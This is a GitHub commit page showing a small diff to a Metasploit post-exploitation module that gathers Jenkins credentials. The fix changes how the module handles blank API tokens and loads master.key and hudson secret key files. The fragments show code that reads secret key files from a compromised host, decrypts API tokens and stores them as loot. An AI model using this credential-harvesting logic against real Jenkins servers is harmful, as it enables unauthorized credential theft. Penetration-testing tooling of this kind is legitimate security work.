Skip to content

Commit

Permalink
fix key material loading and display of blank api keys
Browse files Browse the repository at this point in the history
  • Loading branch information
thesubtlety committed May 17, 2019
1 parent 6b16087 commit 4f679fa
Showing 1 changed file with 9 additions and 8 deletions.
17 changes: 9 additions & 8 deletions modules/post/multi/gather/jenkins_gather.rb
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ def initialize(info = {})
end

def report_creds(user, pass)
return if user.empty? || pass.empty?
return if user.blank? || pass.blank?
credential_data = {
origin_type: :session,
post_reference_name: self.fullname,
Expand Down Expand Up @@ -118,11 +118,12 @@ def parse_users(file)
api_token = decrypt(node.xpath("apiToken").text)
end

print_good("API Token found - Username: #{username} Token: #{api_token}")

@api_tokens << [username, api_token]
report_creds(username, api_token)
store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
if api_token
print_good("API Token found - Username: #{username} Token: #{api_token}")
@api_tokens << [username, api_token]
report_creds(username, api_token)
store_loot("user-#{fname}", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']
end
end

def parse_nodes(file)
Expand Down Expand Up @@ -289,8 +290,8 @@ def get_key_material(home, platform)
end

if exists?(master_key_path) && exists?(hudson_secret_key_path)
@master_key = read_file(master_key_path).strip
@hudson_secret_key = read_file(hudson_secret_key_path).strip
@master_key = read_file(master_key_path)
@hudson_secret_key = read_file(hudson_secret_key_path)

if datastore['STORE_LOOT']
loot_path = store_loot('master.key', 'application/octet-stream', session, @master_key)
Expand Down

0 comments on commit 4f679fa

Please sign in to comment.